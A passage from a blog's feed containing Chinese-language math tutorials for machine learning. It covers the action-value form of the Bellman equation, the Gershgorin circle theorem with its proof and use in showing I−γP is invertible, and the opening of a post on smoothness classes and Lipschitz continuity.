form</strong><br>Repeatedly applying this,<br><img src="1cc3f28c69ffd5471c858e03314ff158_1.svg"></p><hr><p><strong>Step 4: Convergence argument</strong><br>Since every entry of <img src="e401ee4d359dff3b071238881b58ae35_1.svg"> is nonnegative and no greater than one,<br><img src="46005293848cb7a983dd660587a43ccf_1.svg"><br>for any <img src="df976ff7fcf17d60490267d18a1e3996_1.svg">. Also, since <img src="3f78ee3a4698a5c4b931624ebfb247cc_1.svg">, then <img src="14598cf17d8f3546d471438a2646ad89_1.svg">. Therefore,<br><img src="4366478628d43ef68256a8c227badeb0_1.svg"></p><h2 id="动作价值（状态-动作价值）"><a href="#动作价值（状态-动作价值）" class="headerlink" title="动作价值（状态-动作价值）"></a>动作价值（状态-动作价值）</h2><p>◇  First, it follows from the properties of conditional expectation that<br><img src="eaecae7f42a8a0d9dffc74eb7751a565_1.svg"><br>It then follows that<br><img src="43de8e763b88a7158b366789f77d2221_1.svg"><br>As a result, a state value is the expectation of the action values associated with that state.</p><p>◇  Second, since the state value is given by<br><img src="cb95ab6902fdf2e3b0532ac5c2852592_1.svg"><br>comparing it with (2.13) leads to<br><img src="f074ac73924b01222a2addf692a30484_1.svg"></p><p>2.14就是动作价值函数</p><h2 id="贝尔曼公式的动作价值形式"><a href="#贝尔曼公式的动作价值形式" class="headerlink" title="贝尔曼公式的动作价值形式"></a>贝尔曼公式的动作价值形式</h2><p>In particular, substituting (2.13) into (2.14) yields<br><img src="6bbb4afd573d2da8b4fb0f6d37ca326c_1.svg">, which is an equation of action values. </p><p>The above equation is valid for every state-action pair. If we put all these equations together, their matrix-vector form is<img src="2bd1783e7dc231e5f8c6f4d1a92fe160_1.svg"></p><p><img src="cee10e65eaa1a22688fd10069c82ceb0_1.svg"></p><p>where <img src="d39c988ee3ad52726f5ef7af3e9015c3_1.svg"> is the action value vector indexed by the state-action pairs: its <img src="3e898ff49c0f614dc773e80932f92fd6_1.svg">th element is <img src="5a12b92314b6f294a1a5ad99fe192aa9_1.svg">. <img src="df6baf8589396f1ce6df931b566a8d23_3.svg"> is the immediate reward vector indexed by the state-action pairs: <img src="975428977f5db1434262fe8e3741c293_1.svg">. </p><p>The matrix <img src="ffd1905f6d4d60accedfa6b91be93ea9_3.svg"> is the probability transition matrix, whose row is indexed by the state-action pairs and whose column is indexed by the states:<img src="76f471f672e3d69fa380ecb87cdbad6d_1.svg"></p><p>_Moreover, <em><img src="aa63813311a522aaa10a41976f257d1e_5.svg"></em> is a block diagonal matrix in which each block is a <em><img src="0761625ca625dfc6c87524954a796cbd_1.svg"></em> vector:<br>_<img src="a1dc76f76e73595361d5643da58d4580_1.svg">and the other entries of <img src="aa63813311a522aaa10a41976f257d1e_5.svg"> are zero.</p><p>Compared to the Bellman equation defined in terms of state values, the equation defined in terms of action values has some unique features. </p><p>For example, <img src="df6baf8589396f1ce6df931b566a8d23_3.svg"> and <img src="ffd1905f6d4d60accedfa6b91be93ea9_3.svg"> are independent of the policy and are merely determined by the system model. The policy is embedded in <img src="aa63813311a522aaa10a41976f257d1e_5.svg">. It can be verified that (2.15) is also a contraction mapping and has a unique solution that can be iteratively solved. More details can be found in [5].</p>]]></content>
    
    
    <summary type="html">state value, action value, and Bellman Equation</summary>
    
    
    
    
    <category term="ML" scheme="https://cl0und.xyz/tags/ML/"/>
    
    <category term="RL" scheme="https://cl0und.xyz/tags/RL/"/>
    
  </entry>
  
  <entry>
    <title>ML的数学基石-圆盘定理(Gershgorin circle)</title>
    <link href="https://cl0und.xyz/2025/08/11/ML%E7%9A%84%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%9F%B3-%E5%9C%86%E7%9B%98%E5%AE%9A%E7%90%86%EF%BC%88Gershgorin-circle%EF%BC%89/"/>
    <id>https://cl0und.xyz/2025/08/11/ML%E7%9A%84%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%9F%B3-%E5%9C%86%E7%9B%98%E5%AE%9A%E7%90%86%EF%BC%88Gershgorin-circle%EF%BC%89/</id>
    <published>2025-08-11T14:50:56.000Z</published>
    <updated>2025-08-14T15:38:36.811Z</updated>
    
    <content type="html"><![CDATA[<h1 id="什么是圆盘定理"><a href="#什么是圆盘定理" class="headerlink" title="什么是圆盘定理"></a>什么是圆盘定理</h1><p>忘掉那些复杂的数学符号，我们先用一个比喻来理解。</p><h3 id="想象一个“引力游戏”"><a href="#想象一个“引力游戏”" class="headerlink" title="想象一个“引力游戏”"></a>想象一个“引力游戏”</h3><p>想象一个平面上有几个大质量的星球，我们称它们为“主星”。每个主星都有自己的“引力范围”。除了这些主星，还有一些环绕它们的小行星。</p><ul><li><strong>主星 (Star)<strong>：这就是矩阵</strong>对角线上的元素</strong>。它们是每个圈的圆心。</li><li><strong>引力范围 (Gravitational Field)<strong>：每个主星的引力能影响多远，取决于它</strong>所在行</strong>的其他“随从”行星。我们把同一行里，除了主星自己以外所有随从的“质量”加起来，这个总和就是引力范围的半径。</li><li><strong>小行星 (Asteroid)<strong>：这就是矩阵的</strong>特征值</strong>。它们是我们要找的目标。</li></ul><p><strong>格申圆盘定理说的就是：所有的小行星（特征值），都必然落在这个由所有主星的“引力范围”所组成的星系（所有圆盘的并集）之内。</strong></p><p>换句话说，它没告诉我们每个特征值的精确位置，但它划定了一个肯定能找到它们的区域。</p><hr><h3 id="从比喻回到数学"><a href="#从比喻回到数学" class="headerlink" title="从比喻回到数学"></a>从比喻回到数学</h3><p>现在我们把上面的比喻翻译成数学语言。</p><p>对于一个 <img src="aeb2d960dcdf712cb4dfdfdea8c21156_3.svg"> 的方阵 <img src="de951302f41d4707b9d80ca1af34dd0f_15.svg">：</p><p><img src="1576e7497c8312bc5cd1b2e488f4ebae_1.svg"></p><p><strong>格申圆盘定理的内容：</strong></p><ol><li><strong>画圆心</strong>：在复平面上（可以暂时就想成普通的x-y坐标平面），把矩阵对角线上的元素 <img src="b86a86bba53ea7169470b17f0e063b1c_1.svg"> 一个个地标出来。这些点就是我们即将要画的<img src="df378375e7693bdcf9535661c023c02e_15.svg">个圆的<strong>圆心</strong>。<ul><li>圆心 1: <img src="5775bd461d47de8f9151ac9ecf1cda1a_1.svg"></li><li>圆心 2: <img src="ad6671512abd8b5fbce2707907d2741c_1.svg"></li><li>…</li><li>圆心 n: <img src="1243e678c7ab55949cac84d7dbdc7336_1.svg"></li></ul></li><li><strong>算半径</strong>：对每一个圆心，计算它对应圆的<strong>半径</strong>。<ul><li>第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 个圆的半径 <img src="fad3059665c05167bc57527d44d32091_7.svg">，等于第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 行所有<strong>非对角线</strong>元素的<strong>绝对值之和</strong>。</li><li>半径 1: <img src="6e6c98fbcc63fcbeecfd3436ce481846_1.svg"></li><li>半径 2: <img src="7c2e6a75a936d5097a1dfe5f5c7fdb6a_1.svg"></li><li>…</li><li>半径 i: <img src="9aa761eef5ea76e107767b9a3080e516_3.svg"></li></ul></li><li><strong>画圆盘</strong>：以 <img src="5be42cec38dd3ceacb3e8102d672b945_5.svg"> 为圆心，以 <img src="fad3059665c05167bc57527d44d32091_7.svg"> 为半径，画一个圆盘（实心圆）。这样我们就得到了 <img src="df378375e7693bdcf9535661c023c02e_15.svg"> 个“格申圆盘”。</li><li><strong>定理结论</strong>：矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_15.svg"> 的所有特征值（总共有 <img src="df378375e7693bdcf9535661c023c02e_15.svg"> 个）<strong>必定</strong>都落在这 <img src="df378375e7693bdcf9535661c023c02e_15.svg"> 个圆盘构成的区域之内（即所有圆盘的并集）。</li></ol><p><strong>重要提示：</strong></p><ul><li>定理<strong>不保证</strong>每个圆盘里都恰好有一个特征值。</li><li>可能一个圆盘里有好几个特征值，而另一个圆盘里一个都没有。</li><li>它只是说，把所有圆盘的范围<strong>合在一起</strong>，这个总范围一定能<strong>网罗住</strong>所有的特征值。</li></ul><hr><h3 id="来个具体的例子"><a href="#来个具体的例子" class="headerlink" title="来个具体的例子"></a>来个具体的例子</h3><p>我们来看一个 3x3 的矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_15.svg">：</p><p><img src="dfb19e19aed248ce11148dbf8748c1e4_1.svg"></p><p>我们来给它的特征值“划地盘”：</p><ol><li><strong>第一行 (Row 1):</strong><ul><li>圆心：对角线元素是 <img src="b15983bcda2a67366d095cfeb326717a_3.svg">。</li><li>半径：行内其他元素的绝对值之和是 <img src="d1b28833d575805bba1fc6934b55f27d_1.svg">。</li><li><strong>圆盘 D1</strong>：以 <img src="b15983bcda2a67366d095cfeb326717a_3.svg"> 为中心，半径为 <img src="53072c2388d69edc65c2377681e4e87c_11.svg"> 的圆。范围是 <img src="f564f01073b3024d76faaa00945519e7_1.svg">。</li></ul></li><li><strong>第二行 (Row 2):</strong><ul><li>圆心：对角线元素是 <img src="53072c2388d69edc65c2377681e4e87c_11.svg">。</li><li>半径：行内其他元素的绝对值之和是 <img src="a2d332fdf2696621041efa3ba5206431_1.svg">。</li><li><strong>圆盘 D2</strong>：以 <img src="53072c2388d69edc65c2377681e4e87c_11.svg"> 为中心，半径为 <img src="2b89979f54ec02a7bf87aa0c1ea58ff9_1.svg"> 的圆。范围是 <img src="64572e493975495a7a63ac4780c9a37e_1.svg">。</li></ul></li><li><strong>第三行 (Row 3):</strong><ul><li>圆心：对角线元素是 <img src="8811f1f8fba1bd64c1957dae1f969b1b_3.svg">。</li><li>半径：行内其他元素的绝对值之和是 <img src="0fc9870881e724cb91e55ec8dd3a190c_1.svg">。</li><li><strong>圆盘 D3</strong>：以 <img src="8811f1f8fba1bd64c1957dae1f969b1b_3.svg"> 为中心，半径为 <img src="a7720a85557fdd660de5e2da1dfa7c07_1.svg"> 的圆。范围是 <img src="536f34f21326d9d2361de559e44a847c_1.svg">。</li></ul></li></ol><p><strong>结论</strong>：矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_15.svg"> 的三个特征值，我们不知道具体是多少，但我们<strong>百分之百肯定</strong>，它们一定落在 D1、D2、D3 这三个圆盘所覆盖的区域里。也就是在区间 <img src="9100d2a2b5b4f91a0ef50454d351f77e_1.svg"> 这个并集之内，化简后就是 <img src="2eb0670a0d4ddb216b2305ef5d6fe286_1.svg">。</p><p>（实际上，这个矩阵的特征值约等于 <img src="5ebb81b3fce4cd0ebfdb65e45f35a297_1.svg">, <img src="c457deb92da7aeac1b54798f3028190e_1.svg">, <img src="771b6049abf72ae58e1d739c27e79871_1.svg">，完全在我们预测的范围内！）</p><hr><h3 id="它有什么用？"><a href="#它有什么用？" class="headerlink" title="它有什么用？"></a>它有什么用？</h3><p>你可能会问，只知道一个大概范围有什么用？</p><ol><li><strong>快速估算</strong>：在很多工程和科学问题中，我们不需要知道特征值的精确值，只需要知道它的大概范围，比如判断它是不是正数，或者离 <img src="22d0feea96d3bb2fc273f7598ce748c1_23.svg"> 有多远。格申圆盘定理提供了一个计算成本极低的方法。</li><li><strong>理论证明</strong>：就像你在上一个问题中看到的，它可以用来证明某些矩阵的性质。例如，如果一个矩阵的所有格申圆盘都不包含原点 <img src="22d0feea96d3bb2fc273f7598ce748c1_23.svg">，那我们就能立刻断定，这个矩阵的特征值肯定没有 <img src="22d0feea96d3bb2fc273f7598ce748c1_23.svg">，因此该矩阵是<strong>可逆的</strong>！这是一种非常强大的证明工具。</li></ol><h1 id="定理的数学证明"><a href="#定理的数学证明" class="headerlink" title="定理的数学证明"></a>定理的数学证明</h1><p>当然可以。格申圆盘定理的证明非常巧妙，而且只需要用到特征值和绝对值不等式的一些基本性质。</p><hr><h3 id="证明目标"><a href="#证明目标" class="headerlink" title="证明目标"></a>证明目标</h3><p><strong>定理内容</strong>：对于任意 <img src="aeb2d960dcdf712cb4dfdfdea8c21156_3.svg"> 复数矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_15.svg">，它的每一个特征值 <img src="e520c061a407db472027709bf3f73290_13.svg"> 都必定落在由 <img src="df378375e7693bdcf9535661c023c02e_15.svg"> 个格申圆盘构成的并集区域内。其中第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 个圆盘 <img src="f47ef0f303ba9d9f4f2ac96f6df77277_5.svg"> 的圆心是对角元 <img src="5be42cec38dd3ceacb3e8102d672b945_5.svg">，半径是该行所有非对角元绝对值之和 <img src="9aa761eef5ea76e107767b9a3080e516_3.svg">。</p><p>用数学语言描述，任何特征值 <img src="e520c061a407db472027709bf3f73290_13.svg"> 都满足：</p><p><img src="84e32aad43df83cf463a1177d7b9e631_1.svg"></p><hr><h3 id="证明过程"><a href="#证明过程" class="headerlink" title="证明过程"></a>证明过程</h3><p><strong>第 1 步：从特征值的定义出发</strong></p><p>我们从最根本的定义开始。如果 <img src="e520c061a407db472027709bf3f73290_13.svg"> 是矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_15.svg"> 的一个特征值，那么必然存在一个与之对应的非零向量 <img src="2adf48e1cf80858f0604d2b51eeed4b8_9.svg">（称为特征向量），使得它们满足下面的方程：</p><p><img src="a47510855da445df40a5b2a39560f441_1.svg"></p><p>其中 <img src="c0e3d87fd1e2280baefecc94a3b93029_1.svg">，并且因为 <img src="2adf48e1cf80858f0604d2b51eeed4b8_9.svg"> 是非零向量，所以它的分量 <img src="3ec666bf738c2d232d301803f79b78e4_1.svg"> 不全为零。</p><p><strong>第 2 步：将方程展开到每一行</strong></p><p>上面的矩阵方程可以写成一个包含 <img src="df378375e7693bdcf9535661c023c02e_15.svg"> 个线性方程的方程组。我们来看第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 行对应的方程：</p><p><img src="4c60fe40d5c9e6f3a32194e13857223f_1.svg"></p><p>这个式子是把矩阵 <img src="de951302f41d4707b9d80ca1af34dd0f_15.svg"> 的第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 行和向量 <img src="2adf48e1cf80858f0604d2b51eeed4b8_9.svg"> 相乘得到的结果。</p><p><strong>第 3 步：分离对角线元素</strong></p><p>现在，我们把左边的求和式中，包含对角元 <img src="5be42cec38dd3ceacb3e8102d672b945_5.svg"> 的那一项单独拿出来：</p><p><img src="0f43e564bdc8b19d3837fcb9909571c5_1.svg"></p><p>可以简写为：</p><p><img src="0823c975214f221a4e659c59e9773513_1.svg"></p><p>移项整理一下，把所有带 <img src="5b13ed0ae41bee9defcf75f2efc5f060_1.svg"> 的项都放到一边：</p><p><img src="539113eefdd5307e12c46de9ed9c6310_1.svg"></p><p><strong>第 4 步：引入证明的关键——找到“最大”的分量</strong></p><p>这是整个证明中最核心的一步。因为特征向量 <img src="2adf48e1cf80858f0604d2b51eeed4b8_9.svg"> 不是零向量，所以它的分量中至少有一个不为零。这意味着，<strong>必然存在一个绝对值最大的分量</strong>。</p><p>我们假设这个绝对值最大的分量是 <img src="0c7e50a9802d6f96b6e69db95b9758da_1.svg">。也就是说，我们选取一个索引 <img src="df976ff7fcf17d60490267d18a1e3996_9.svg"> (从 <img src="53072c2388d69edc65c2377681e4e87c_11.svg"> 到 <img src="df378375e7693bdcf9535661c023c02e_15.svg">)，使得：</p><p><img src="3041caf38cba29bdebdfb2a3b74c676f_1.svg"></p><p>因为 <img src="2adf48e1cf80858f0604d2b51eeed4b8_9.svg"> 非零，所以我们知道 <img src="b665e55fa36e47add632d0d432111cb3_3.svg">。</p><p><strong>第 5 步：将第 4 步的结论应用到第 3 步的方程中</strong></p><p>我们在第 3 步得到的方程对任意一行 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 都成立，那么它自然对我们刚刚选出的第 <img src="df976ff7fcf17d60490267d18a1e3996_9.svg"> 行也成立。我们把 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 换成 <img src="df976ff7fcf17d60490267d18a1e3996_9.svg">：</p><p><img src="ab6a82b85e951d93f1d322002dba78f1_1.svg"></p><p><strong>第 6 步：两边取绝对值，并使用三角不等式</strong></p><p>现在，我们对上式两边同时取绝对值：</p><p><img src="e8bb4348dd83d72e00def8d0968db3c2_1.svg"></p><p>左边可以拆开：</p><p><img src="ce675fdd057eff36337428005aff713b_1.svg"></p><p>对于右边，我们使用<strong>三角不等式</strong>（一个和的绝对值小于或等于绝对值的和）：</p><p><img src="4577762ad7d94ef11632e329ce6770e9_1.svg"></p><p>把上面几个式子合起来，我们得到：</p><p><img src="b20334f1ca1951247d44d779afbca644_1.svg"></p><p><strong>第 7 步：再次利用“最大”分量的性质</strong></p><p>回到第 4 步，我们已经知道 <img src="9ececb90657cff2a19afa03c9f89ff1a_3.svg"> 是所有分量绝对值中最大的，即 <img src="254f888cd2cf0b9a8d1d5e50d73292cb_1.svg">。所以，我们可以对上一步不等式的右边进行放缩：</p><p><img src="860fb4798007dc10f484adeab784485c_1.svg"></p><p>结合第 6 步，我们得到：</p><p><img src="3748fbf5a85b5f6433b6b0fc62640ad3_1.svg"></p><p><strong>第 8 步：得到最终结论</strong></p><p>因为我们知道 <img src="b665e55fa36e47add632d0d432111cb3_3.svg">，所以我们可以放心地在不等式两边同时除以 <img src="9ececb90657cff2a19afa03c9f89ff1a_3.svg">，不等号方向不变：</p><p><img src="c2c5ff29bad8bf620a55e59db6517e03_1.svg"></p><p>让我们来解读一下这个最终的不等式：</p><ul><li><img src="eb3157aaab6551174b33e3411e022116_7.svg"> 是第 <img src="df976ff7fcf17d60490267d18a1e3996_9.svg"> 个格申圆盘的<strong>圆心</strong>。</li><li><img src="b32cbcec5dedfadb7f0ec4d0f5d6449b_3.svg"> 是第 <img src="df976ff7fcf17d60490267d18a1e3996_9.svg"> 个格申圆盘的<strong>半径</strong>。</li><li><img src="156e511318bbe8b7abc8719e80280d46_1.svg"> 是特征值 <img src="e520c061a407db472027709bf3f73290_13.svg"> 到圆心 <img src="eb3157aaab6551174b33e3411e022116_7.svg"> 的<strong>距离</strong>。</li></ul><p>这个不等式说明，特征值 <img src="e520c061a407db472027709bf3f73290_13.svg"> 到圆心 <img src="eb3157aaab6551174b33e3411e022116_7.svg"> 的距离小于或等于半径。这恰恰证明了：<strong>特征值 <strong><img src="e520c061a407db472027709bf3f73290_13.svg"></strong> 位于以 <strong><img src="eb3157aaab6551174b33e3411e022116_7.svg"></strong> 为圆心、以 <strong><img src="b32cbcec5dedfadb7f0ec4d0f5d6449b_3.svg"></strong> 为半径的圆盘之内</strong>。</p><p>由于我们从一个任意的特征值 <img src="e520c061a407db472027709bf3f73290_13.svg"> 开始推导，证明了它必然落在<strong>某一个</strong>（由其特征向量最大分量所在的行决定）格申圆盘中，所以可以得出结论：<strong>矩阵 <strong><img src="de951302f41d4707b9d80ca1af34dd0f_15.svg"></strong> 的所有特征值都位于所有 <strong><img src="df378375e7693bdcf9535661c023c02e_15.svg"></strong> 个格申圆盘的并集之中</strong>。</p><p>证明完毕。</p><h1 id="强化学习种证明r可解"><a href="#强化学习种证明r可解" class="headerlink" title="强化学习种证明r可解"></a>强化学习种证明r可解</h1><p><img src="1753286284143-29b7cfd3-8db2-4a04-a5dc-d86f9d4d2149.png"></p><p>我们使用格申圆盘定理来证明矩阵 <img src="577a5a91ba0ec837dcdc7065bb3f2f0c_7.svg"> 总是可逆的。</p><p>这个证明的核心思路是：</p><p><strong>如果我们可以证明数字 0 不在任何一个格申圆盘内，那么 0 就不可能是这个矩阵的特征值。一个没有零特征值的矩阵一定是可逆的。</strong></p><hr><h3 id="预备知识回顾"><a href="#预备知识回顾" class="headerlink" title="预备知识回顾"></a>预备知识回顾</h3><ol><li><strong>矩阵可逆性</strong>：一个方阵可逆，当且仅当它的所有特征值都不为零。</li><li><strong>格申圆盘定理</strong>：对于矩阵 <img src="6f5dde593f0bc27956e14b5eaec2ed17_7.svg">，它的每个特征值都位于某个格申圆盘 <img src="f47ef0f303ba9d9f4f2ac96f6df77277_5.svg"> 内。圆盘 <img src="f47ef0f303ba9d9f4f2ac96f6df77277_5.svg"> 的圆心是 <img src="0984ebdcde63c5587a5d0643944bf479_1.svg">（对角元），半径是 <img src="f82b411eaffe2214996edb9dbfa40f22_1.svg">（该行非对角元绝对值之和）。</li><li><strong>我们的前提</strong>：<ul><li><img src="ffd1905f6d4d60accedfa6b91be93ea9_3.svg"> 是一个随机矩阵，因此 <img src="56baeda1adf15c36371caa535342118d_1.svg"> 并且每一行之和为 <img src="53072c2388d69edc65c2377681e4e87c_11.svg"> (<img src="3e367df65a303c05db322dde3d0feb9a_1.svg">)。</li><li><img src="4aa418d6f0b6fbada90489b4374752e5_1.svg"> 是折扣因子，满足 <img src="52561ad251f79d49462c5ff573c8bccb_5.svg">。</li></ul></li></ol><hr><h3 id="证明步骤"><a href="#证明步骤" class="headerlink" title="证明步骤"></a>证明步骤</h3><p><strong>第 1 步：确定我们要分析的矩阵</strong></p><p>我们令 <img src="22eedf9a93c27226ab04638022e072e0_1.svg">。我们的目标就是证明 <img src="6f5dde593f0bc27956e14b5eaec2ed17_7.svg"> 是可逆的。</p><p><strong>第 2 步：找出 <strong><img src="6f5dde593f0bc27956e14b5eaec2ed17_7.svg"></strong> 的对角元和非对角元</strong></p><p>为了应用格申圆盘定理，我们需要确定 <img src="6f5dde593f0bc27956e14b5eaec2ed17_7.svg"> 的对角元（圆心）和非对角元（用于计 算半径）。</p><ul><li><strong>对角元 (圆心)：</strong></li></ul><p><img src="325ec49ee9184bf1aebdc233ec8a77c8_1.svg"></p><p>  所以，第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 个格申圆盘的圆心是 <img src="e6614253afb48ab20c2cfeb7513ee13d_5.svg">。</p><ul><li><strong>非对角元：</strong></li></ul><p><img src="9cfae9dfad4ae9a6810abac96f2c9168_1.svg"></p><p><strong>第 3 步：计算格申圆盘的半径</strong></p><p>第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 个圆盘的半径 <img src="fad3059665c05167bc57527d44d32091_7.svg"> 是第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 行所有非对角元绝对值的和：</p><p><img src="ca21aa09edca8e295480cba52aa9f381_1.svg"></p><p>因为 <img src="ffd1905f6d4d60accedfa6b91be93ea9_3.svg"> 是随机矩阵，每一行的和为 <img src="53072c2388d69edc65c2377681e4e87c_11.svg">，即 <img src="e545904d2c9178468c6266a6d584a3ee_1.svg">，所以 <img src="e1871e02d16b92ba4b7e74dc03aff4e5_1.svg">。</p><p>代入半径公式，得到：</p><p><img src="955c9231e435ef6037dc0ebb8bf97284_1.svg"></p><p><strong>第 4 步：证明 <strong><img src="22d0feea96d3bb2fc273f7598ce748c1_23.svg"></strong> 不在任何一个圆盘内</strong></p><p>一个点（比如 <img src="22d0feea96d3bb2fc273f7598ce748c1_23.svg">）如果在一个圆盘内，那么这个点到圆心的距离必须小于或等于圆的半径。</p><ul><li>第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 个圆盘的<strong>圆心</strong>是 <img src="e6614253afb48ab20c2cfeb7513ee13d_5.svg">。</li><li>第 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 个圆盘的<strong>半径</strong>是 <img src="58c641f38e3ab86ef529cad164a7fc49_1.svg">。</li></ul><p>我们来比较一下“圆心到 <img src="22d0feea96d3bb2fc273f7598ce748c1_23.svg"> 的距离”和“半径”的大小。</p><p>圆心到 <img src="22d0feea96d3bb2fc273f7598ce748c1_23.svg"> 的距离是 <img src="42b4f10ef29cdf109587c21c3ac2d8fa_1.svg">。<br>因为 <img src="a922e2baa4d0df73339fa2a3890cb6af_1.svg">，且 <img src="52561ad251f79d49462c5ff573c8bccb_5.svg">，所以 <img src="1a1ded7f1b1995e27381014ddbb2d76f_1.svg">。<br>因此圆心 <img src="e6614253afb48ab20c2cfeb7513ee13d_5.svg"> 必然是<strong>正数</strong>，距离就是它本身：</p><p><img src="e8d4ea8ed084a6776465f4b8b8315a6b_1.svg"></p><p>现在，我们来比较这个距离和半径 <img src="fad3059665c05167bc57527d44d32091_7.svg">：</p><ul><li><strong>距离</strong>：<img src="b4c9f8d4877a70c9c852b6aa5d24e593_1.svg"></li><li><strong>半径</strong>：<img src="e76fa52f3af3ce7796c0230dc1247c09_1.svg"></li></ul><p>因为 <img src="52561ad251f79d49462c5ff573c8bccb_5.svg">，必有 <img src="df8b9a8be677aeede20c11b3709a6eac_1.svg">，同时在两边都减去相同的数 <img src="0750ba00e548f2a6f43ea96e8375d677_1.svg"> 不等号方向不变：</p><p><img src="32eeac9d1339b7765e98386fa1b120bb_1.svg"></p><p>也就是</p><p><img src="6d687a0625a3d02aaa7917ce3b64eae3_1.svg"></p><p><strong>（圆心到 <strong><img src="22d0feea96d3bb2fc273f7598ce748c1_23.svg"></strong> 的距离“严格大于”圆的半径）</strong></p><p>这个结论对矩阵的每一行 <img src="2443fbcfeb7e85e1d62b6f5e4f27207e_25.svg"> 都成立。</p><hr><h3 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h3><p>我们已经证明，对于矩阵 <img src="577a5a91ba0ec837dcdc7065bb3f2f0c_7.svg"> 的任意一个格申圆盘，其圆心到原点 <img src="22d0feea96d3bb2fc273f7598ce748c1_23.svg"> 的距离都严格大于它的半径。这意味着<strong>原点 <strong><img src="22d0feea96d3bb2fc273f7598ce748c1_23.svg"></strong> 位于所有格申圆盘之外</strong>。</p><p>根据格申圆盘定理，所有的特征值都必须在这些圆盘构成的区域之内。既然 <img src="22d0feea96d3bb2fc273f7598ce748c1_23.svg"> 在这个区域之外，那么 <img src="22d0feea96d3bb2fc273f7598ce748c1_23.svg">** 就不可能是矩阵 <strong><img src="577a5a91ba0ec837dcdc7065bb3f2f0c_7.svg"></strong> 的特征值**。</p><p>因为矩阵 <img src="577a5a91ba0ec837dcdc7065bb3f2f0c_7.svg"> 的所有特征值都非零，所以该矩阵<strong>必然是可逆的</strong>。</p><p>证明完毕。</p>]]></content>
    
    
    <summary type="html">Gershgorin circle</summary>
    
    
    
    
    <category term="ML" scheme="https://cl0und.xyz/tags/ML/"/>
    
    <category term="Math" scheme="https://cl0und.xyz/tags/Math/"/>
    
  </entry>
  
  <entry>
    <title>ML的数学基石-函数的光滑性与连续性层次</title>
    <link href="https://cl0und.xyz/2025/08/11/ML%E7%9A%84%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%9F%B3-%E5%87%BD%E6%95%B0%E7%9A%84%E5%85%89%E6%BB%91%E6%80%A7%E4%B8%8E%E8%BF%9E%E7%BB%AD%E6%80%A7%E5%B1%82%E6%AC%A1/"/>
    <id>https://cl0und.xyz/2025/08/11/ML%E7%9A%84%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%9F%B3-%E5%87%BD%E6%95%B0%E7%9A%84%E5%85%89%E6%BB%91%E6%80%A7%E4%B8%8E%E8%BF%9E%E7%BB%AD%E6%80%A7%E5%B1%82%E6%AC%A1/</id>
    <published>2025-08-11T14:44:29.000Z</published>
    <updated>2025-08-11T14:46:04.846Z</updated>
    
    <content type="html"><![CDATA[<h2 id="1-核心概念：C-k-函数类"><a href="#1-核心概念：C-k-函数类" class="headerlink" title="1. 核心概念：C^k 函数类"></a>1. 核心概念：C^k 函数类</h2><h3 id="1-1-基本定义"><a href="#1-1-基本定义" class="headerlink" title="1.1 基本定义"></a>1.1 基本定义</h3><ul><li><strong>C^0</strong>：连续函数</li><li><strong>C^1</strong>：一阶连续可导（导函数存在且连续）</li><li><strong>C^k</strong>：k阶连续可导（k阶导数存在且连续）</li><li><strong>C^∞</strong>：无限可微/光滑函数</li></ul><h3 id="1-2-关键insight"><a href="#1-2-关键insight" class="headerlink" title="1.2 关键insight"></a>1.2 关键insight</h3><p><font style="color:rgba(6, 8, 31, 0.88);">仅仅”可导”不等于”C^1”！导函数必须连续才能称为C^1。</font></p><p><strong>经典反例</strong>：</p><p>$ f(x) = \begin{cases}<br>x^2\sin(1/x), &amp; x \neq 0 \<br>0, &amp; x = 0<br>\end{cases} $</p><p>此函数处处可导，但导函数在x=0处不连续：</p><ul><li>$ f’(0) = 0 $（用定义计算）</li><li>$ f’(x) = 2x\sin(1/x) - \cos(1/x) $ 当 $ x \neq 0 $</li><li>$ \lim_{x \to 0} f’(x) $ 不存在（因为$ \cos(1/x) $振荡）</li></ul><h2 id="2-连续性的层次结构"><a href="#2-连续性的层次结构" class="headerlink" title="2. 连续性的层次结构"></a>2. 连续性的层次结构</h2><p>从强到弱的连续性概念：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C^∞ ⊂ C^k ⊂ ... ⊂ C^1 ⊂ Lipschitz连续 ⊂ 一致连续 ⊂ 连续</span><br></pre></td></tr></table></figure><h3 id="2-1-Lipschitz连续"><a href="#2-1-Lipschitz连续" class="headerlink" title="2.1 Lipschitz连续"></a>2.1 Lipschitz连续</h3><p><strong>定义</strong>：存在常数L使得 $ |f(x) - f(y)| \leq L|x - y| $</p><p><strong>几何意义</strong>：函数变化率有界（斜率不超过L）</p><p><strong>与C^1的关系</strong>：</p><ul><li>闭区间上的C^1函数必是Lipschitz连续</li><li>Lipschitz连续不一定C^1（如 $ |x| $）</li></ul><h2 id="为什么导函数的连续性如此重要？"><a href="#为什么导函数的连续性如此重要？" class="headerlink" title="为什么导函数的连续性如此重要？"></a>为什么导函数的连续性如此重要？</h2><p>让我通过具体例子来展示导函数不连续会导致的各种问题。</p><h3 id="1-链式法则失效的风险"><a href="#1-链式法则失效的风险" class="headerlink" title="1. 链式法则失效的风险"></a>1. 链式法则失效的风险</h3><p>考虑两个函数的复合：</p><p><strong>例子1</strong>：设</p><p>$ g(x) = \begin{cases}<br>x^2\sin(1/x), &amp; x \neq 0 